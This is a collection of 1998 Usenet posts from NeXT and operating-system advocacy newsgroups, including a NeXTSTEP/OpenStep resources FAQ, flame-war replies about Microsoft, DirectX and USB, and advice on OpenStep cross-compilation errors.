Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
Joe Ragosta wrote:
> > Note where the quotation marks are. I don't see him actually
> equating
> > Win98 with human progress. And he doesn't need to know anything
> about
> > it: I'd assume he's talking about the principles of an economic
> theory
> > as *applied* to an individual case, not as *derived* from any
> particular
> > product.
>
> Nonsense. By saying saying that delaying Win98 would throw sand into
> the
> gears of human progress (no matter where you put your quotation
> marks),
> he's stating that Win98 is a part of human progress.
Which is true, since all operating systems are. He's talking about good
and bad market rules and principles for government intervention, not
about good and bad products. I'm not saying he's right, just that the
alleged contradiction doesn't exist. Check out Altavista or
http://www.pathfinder.com/fortune/1998/980216/fst8.html if you care to
investigate what kind of dude he is. My interst in the matter has passed
its peak.
/A
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <14190894168021@digifix.com>
Date: 10 May 1998 03:49:44 GMT
Organization: Digital Fix Development
Message-ID: <1562894772821@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1993. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
Sender: khuber@bambi.visi.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net>
From: Kevin Huber <khuber@yuck.net>
Message-ID: <uj2yawahihy.fsf@bambi.visi.com>
Date: Sun, 10 May 1998 04:12:11 GMT
NNTP-Posting-Date: Sat, 09 May 1998 23:12:11 CDT
"John" == John Saunders <jws@jws.ultranet.com> writes:
John> have to use them when you would have chosen Netscape. Not, at
John> least, unless you really wanted to use Netscape to view that
John> HTML help? If so, why?
Ya - Robert, if Microsoft is good enough for 90% of the public it's
good enough for you dammit. Why would you really want any sort of
choice? Next you'll be complaining that people shouldn't make IE4
dependant web pages with FrontPage or Microsoft Word isn't the world's
greatest word processor. You must be some kind of fringe lunatic.
-Kevin ;-) for the sarcasm impaired
From: handleym@ricochet.net (Maynard Handley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 09 May 1998 21:33:32 -0700
Organization: Me and no-one else
Message-ID: <handleym-0905982133330001@handma.apple.com>
References: <6ipuoa$606$4@strato.ultra.net> <6ipvus$s9i@shelob.afs.com> <35508936.514A@CONVEX.COM> <35577677.21461540@news.nai.net> <3551BB43.5BD48B58@nstar.net>
In article <3551BB43.5BD48B58@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Perry.Fecteau@Republican.COM wrote:
>
> > kinda like scsi eh?
>
> Yeah, all except for the expense and effective length of the chain and
> ease of setup and simplicity of protocol.
And the ability to carry small amounts of power along the bus thus
eliminating power bricks for many small peripherals. Yay.
Maynard
--
My opinion only
From: rjf@xxxmail.sysnet.net.tw (rj friedman)
Newsgroups: comp.sys.mac.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: 10 May 1998 07:25:02 GMT
Organization: SEEDNET InterNetNews News System
Message-ID: <M3mPvLdzxX1t-pn2-BL3e0qwzKqDg@p210-67-34-153.ts.sysnet.net.tw>
References: <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <199805051707.MAA01735@comp.uark.edu> <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com> <casper-0505981900370001@wheat-d-19.monroeville.nb.net> <6j2q9p$2mg$1@usenet11.supernews.com> <MPG.fbec2e0148eba92989d7b@news1.mnsinc.com>
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On Sun, 10 May 1998 00:46:11, dmccoy@REMOVE_MEmnsinc.com
(David H. McCoy) wrote:
¯Why is it so difficult for people to realize the DirectX is the technology
¯tht combines sound interfacing, controllers, video hardware accessing as
¯well as 3D...
Because we are not interested in MS' latest attempt to
ignore a superior standard in order to replace it with their
own inferior one in order to put another billion dollars in
BG's bank account.
You are truly a classic, McCoy. Here you are - like a hungry
little orphan child in winter - out in the cold - faced
pressed up against the glass - resenting the people
enjoying themselves inside because they are not as
miserable as yourself - and lashing out in your
bewilderment and resentment.
Do you remember when you stated these very words:
------
"So, where does this leave our Windows friends? Why, with a
deep sense of insecurity. After all, why else would these...
unique individuals devote so much of their time to
attacking a product they do not use. They repeat the same
tales of woe about OS/2 time and time again, each time
expecting a different response from the OS/2 pundits, truly
the surest sign of insanity. Ominor believes that were it
possible to reduce himself to the rather pitiful state of
human, that he could empathize with these misguided souls."
"Windows advocates who, instead of adding civilized debate
to the advocacy newsgroup, seek to undermine the efforts of
those who merely wish to gain knowledge . . . Their antics
have been disruptive and counter-productive."
-------
It would behoove you to take a long, hard, look at yourself,
then ask yourself: "What have I let myself become?"
¯ David H. McCoy
¯"Playing a game that blows people to chunks of meat is murder..."
How many people did you murder in Quakeworld today?
________________________________________________________
[RJ] OS/2 - Live it, or live with it.
rj friedman Team ABW
Taipei, Taiwan rjf@xxxmail.sysnet.net.tw
To send email - remove the `xxx'
________________________________________________________
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Yellowbox programming, and ragosta
Date: Sat, 09 May 1998 22:48:16 -0700
Organization: Trilithon Research and Trading
Message-ID: <35553FA0.AB984F57@trilithon.com>
References: <6j2qnb$r2p$2@newsfep1.sprintmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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macghod@concentric.net wrote:
* To everyone else (besides Joe), I did the simple first
* app from the openstep docs, currencyconverter. Followed
* everything it said to do, compiled it, no problems. I
* then went to the build options and clicked all the boxes
* for other platforms. GOt a whole buncha errors :( Then
* only selected one box, but not the platform I am on,
* whole buncha errors :(
Of course, we all notice that you carefully avoided detailing
precisely what those errors happened to be. As an analogy, I
today I installed an entire new system with Windows NT, and
when I tried to connect to the ISP, I GoT a WhOlE BuNcHa
ErRoRs!
Based on your inability to describe the problems you claim
to be having (over and above the intrinsic problems), I can
conjecture that you didn't install all of the software
neccessary to build for multiple platforms. If my conjecture
turns out to be the case, would you kindly let the rest of the
anxiously awaiting long-term NextStep/OpenStep community know
so we can exhale and get back to business (since 1993) as usual?
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: perfecto@ct2.nai.net (Perry.Fecteau@Republican.COM)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 10 May 1998 09:54:23 GMT
Organization: Milhouse America
Message-ID: <355e7905.195968397@news.nai.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <355d5b06.148323868@news.nai.net> <6iqe3d$q5e$1@vixen.cso.uiuc.edu> <355675d5.21298876@news.nai.net> <6it3c0$hhd$1@vixen.cso.uiuc.edu>
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On 7 May 1998 19:51:28 GMT, tsmurphy@cs.uiuc.edu (TERENCE MURPHY)
wrote:
>Only fourteen companies have higher profits than Microsoft, and only
>two are more than double theirs. They also have the highest growth
>rate of anybody in the top 25, and the highest profits/revenue ratio
>in the world. Smaller? Of course. A speck of dust? You wish.
profits schmofits. they are 137 on the fortune 500. spec of dust
indeed compare to the real big boys. they aren't nearly as global as
the big boys either.
--
Dead Republican
Check out Dead Republican's anti MicroSoft song <alt.netted.out> at:
http://w3.nai.net/~perfecto/deadrep.html
(I think I fixed the RealAudio problem)
Date: Sun, 10 May 1998 04:28:37 -0600
From: kreme@SPAM.kreme.com (Kreme)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <kreme-1005980428370001@kreme.com>
References: <6ipuoa$606$4@strato.ultra.net> <6ipvus$s9i@shelob.afs.com> <35508936.514A@CONVEX.COM> <35577677.21461540@news.nai.net> <3551BB43.5BD48B58@nstar.net>
Ccb%xGQshhi|g@QU2$
If you want to use it please also use this Authorline.
In article <3551BB43.5BD48B58@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Perry.Fecteau@Republican.COM wrote:
>
> > kinda like scsi eh?
>
> Yeah, all except for the expense and effective length of the chain and
> ease of setup and simplicity of protocol.
Not to mention a powered bus and up to 127 devices.
From: bmeyer@bruce.cs.monash.edu.au
Newsgroups: comp.os.ms-windows.advocacy,comp.sys.mac.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: 10 May 1998 23:35:47 +1000
Organization: This is innd taking over...
Message-ID: <6j4afj$p19$1@wombat.cs.monash.edu.au>
References: <199805051707.MAA01735@comp.uark.edu> <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com> <casper-0505981900370001@wheat-d-19.monroeville.nb.net> <6j2q9p$2mg$1@usenet11.supernews.com>
"Todd Bandrowsky" <tbandrowsky@del.net> writes:
>If you don't like Direct X, then use 3dfx or opengl or fastgraph. There's
>plenty of alternatives out there for Windows. Geez, how many libraries does
>Linux have: 0. How many gaming libraries does Sun have: 0. Apple stuff is
>just as proprietary.
Uhm, Linux has 0 libraries?
Well, I guess SVGAlib and XF86DGA (direct screen access), Glide (the 3dfx
library) and Mesa (a pretty full-featured OpenGL clone that uses hardware
acceleration on the Voodoo boards) don't count?
Maybe, just maybe, you should inform yourself a tiny little bit mroe
before posting.
Bernie
--
============================================================================
"It's a magical world, Hobbes ol' buddy...
...let's go exploring"
Calvin's final words, on December 31st, 1995
From: mmalcolm crawford <m.crawford@shef.ac.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: 10 May 1998 12:46:05 GMT
Organization: University of Sheffield, UK
Message-ID: <6j47id$i2n$1@bignews.shef.ac.uk>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <35540431.47775518@common.se> <6j1lcc$ji3@bgtnsc01.worldnet.att.net> <355495FB.D0C86056@nstar.net> <35549E5E.EB4261F0@trilithon.com> <3554C199.505DB86@nstar.net>
In-Reply-To: <3554C199.505DB86@nstar.net>
On 05/09/98, "Michael J. Peck" wrote:
> > now off to research Richard Maybury.
>
> Very cool! I suspect you'll be slightly surprised when you find him; his
> writing style is very simplistic (it's actually written in the form of
> letters to an imaginary nephew), so even I could understand it.
>
Sounds like The Screwtape Letters to me.
I was worried when I started agreeing with a lot of what Wormwood (?) had to
say! ;->
Best wishes,
mmalc.
--
From: mmalcolm crawford <m.crawford@shef.ac.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Yellowbox programming, and ragosta
Date: 10 May 1998 12:57:31 GMT
Organization: University of Sheffield, UK
Message-ID: <6j487r$ibo$1@bignews.shef.ac.uk>
References: <6j2qnb$r2p$2@newsfep1.sprintmail.com>
In-Reply-To: <6j2qnb$r2p$2@newsfep1.sprintmail.com>
On 05/10/98, macghod@concentric.net wrote:
> In the past, I am sure I have seen joe ragosta say that openstep
> programming to multiple platforms (those supported by Openstep that
> is) is as simple as clicking a box and recompiling.
>[...]
> To everyone else (besides Joe), I did the simple first app from
> the openstep docs, currencyconverter. Followed everything it said
> to do, compiled it, no problems. I then went to the build options
> and clicked all the boxes for other platforms. GOt a whole buncha
> errors :( Then only selected one box, but not the platform I am
> on, whole buncha errors :(
>
Oh heavens, I can just see this is going to join various other unpleasant
Urban Myths about OPENSTEP (like DPS is slow)...
I am quite sure that you have some sort of installation problem. Did you
install all the relevant binaries? You should only be clicking boxes for
binaries you have installed -- if you're trying to compile for Sparc, for
example, on Prelude to Rhapsody, and don't have the Sparc binaries installed,
you'll have problems. Similarly, if you're running RDR, as far as I could
tell from demos of Project Builder, it still has buttons for compiling on
NeXT and Sparc, and yet as far as I'm aware versions of RDR were never
produced for those platforms. So again, if you tried compiling for either of
those platforms, you'll be sunk.
Cross-compilation has been working fine on NEXTSTEP and OPENSTEP since
NEXTSTEP 3.1, for much more complicated applications than the one you're
describing. Unless you have gone out of your way to break things, I can see
no reason why it should suddenly fail for you.
I trust when you have discovered your error you will post a suitable
retraction so that whenever anyone cites your original post in the future, we
can direct them to the followup...
mmalc.
--
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Sun, 10 May 1998 23:17:27 +1000
Organization: University of Queensland
Message-ID: <6j497o$r5q$1@nargun.cc.uq.edu.au>
References: <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <199805051707.MAA01735@comp.uark.edu> <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com> <casper-0505981900370001@wheat-d-19.monroeville.nb.net> <6j2q9p$2mg$1@usenet11.supernews.com> <MPG.fbec2e0148eba92989d7b@news1.mnsinc.com> <M3mPvLdzxX1t-pn2-BL3e0qwzKqDg@p210-67-34-153.ts.sysnet.net.tw>
>On Sun, 10 May 1998 00:46:11, dmccoy@REMOVE_MEmnsinc.com
>(David H. McCoy) wrote:
>
>¯Why is it so difficult for people to realize the DirectX is the technology
>¯tht combines sound interfacing, controllers, video hardware accessing as
>¯well as 3D...
>
>Because we are not interested in MS' latest attempt to
>ignore a superior standard in order to replace it with their
>own inferior one in order to put another billion dollars in
>BG's bank account.
There's a small flaw with this statement - there *is* no comparative product
to DirectX.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Sun, 10 May 1998 13:50:53 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3555B0BD.F05A57DC@nstar.net>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <35540431.47775518@common.se> <6j1lcc$ji3@bgtnsc01.worldnet.att.net> <355495FB.D0C86056@nstar.net> <35549E5E.EB4261F0@trilithon.com> <3554C199.505DB86@nstar.net> <6j47id$i2n$1@bignews.shef.ac.uk>
Mime-Version: 1.0
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mmalcolm crawford wrote:
>
> Sounds like The Screwtape Letters to me.
Hmmm...
> I was worried when I started agreeing with a lot of what Wormwood (?) had to
> say! ;->
Screwtape, you mean? I don't think I've been playing devil's advocate,
not yet, anyway...
Regards,
MJP
From: jhimmel@i-2000.com (James Himmelman)
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy,comp.os.ms-windows.advocacy,comp.sys.mac.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: 10 May 1998 14:14:37 GMT
Organization: I-2000 Inc., Internet Services
Message-ID: <uprsNDlpp0Dh-pn2-xWG5dQM4sr46@dyn49.tc1.mineola.i-2000.net>
References: <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <199805051707.MAA01735@comp.uark.edu> <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com> <casper-0505981900370001@wheat-d-19.monroeville.nb.net> <6j2q9p$2mg$1@usenet11.supernews.com> <MPG.fbec2e0148eba92989d7b@news1.mnsinc.com> <M3mPvLdzxX1t-pn2-BL3e0qwzKqDg@p210-67-34-153.ts.sysnet.net.tw> <6j497o$r5q$1@nargun.cc.uq.edu.au>
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On Sun, 10 May 1998 13:17:27, "Christopher Smith" <drsmithy@usa.net>
wrote:
> >On Sun, 10 May 1998 00:46:11, dmccoy@REMOVE_MEmnsinc.com
> >(David H. McCoy) wrote:
> >¯Why is it so difficult for people to realize the DirectX is the technology
> >¯tht combines sound interfacing, controllers, video hardware accessing as
> >¯well as 3D...
> >Because we are not interested in MS' latest attempt to
> >ignore a superior standard in order to replace it with their
> >own inferior one in order to put another billion dollars in
> >BG's bank account.
> There's a small flaw with this statement - there *is* no comparative product
> to DirectX.
Can you tell me what DirectX would do for me? I don't play computer
games, so I'm wondering what I might be missing by not having directX.
I use my computer for letters (AmiPro/2), several database's involving
costomer information (DBExpert and now looking at Approach/2),
acounting (CA Simply accounting for OS/2), faxing (FaxworksPro/2),
Personal information (scheduling mainly - IBM Works PIM and now
looking at Organizer/2), access to my banking (WinOS/2), access to
trading (WinOS/2 and now through Schwab Internet access), and of
course Internet interaction (Netscape/2, MR/2 ICE, ProNews/2).
[[[ James Himmelman - jhimmel@i-2000.com ]]]
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Yellowbox programming, and ragosta
Date: 10 May 1998 10:51:22 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6j4eta$rbo$1@crib.bevc.blacksburg.va.us>
References: <6j2qnb$r2p$2@newsfep1.sprintmail.com>
In article <6j2qnb$r2p$2@newsfep1.sprintmail.com>, macghod@concentric.net wrote:
> In the past, I am sure I have seen joe ragosta say that openstep programming
> to multiple platforms (those supported by Openstep that is) is as simple as
> clicking a box and recompiling.
> To everyone else (besides Joe), I did the simple first app from the openstep
> docs, currencyconverter. [...] whole buncha errors :(
Others have pointed out your problem. What I don't understand is,
why are you singling out Joe?? If you've been paying attention at all,
you'd have noticed that the rest of us _also_ say that it's as simple as
clicking a box and recompiling, as long as you stay within the Yellow Box.
(At least for different architectures all running OS/Mach, and not
Mach->Windows or or something.. that can have added complications.)
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 10 May 1998 15:17:46 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6j4gep$l28$1@nnrp1.dejanews.com>
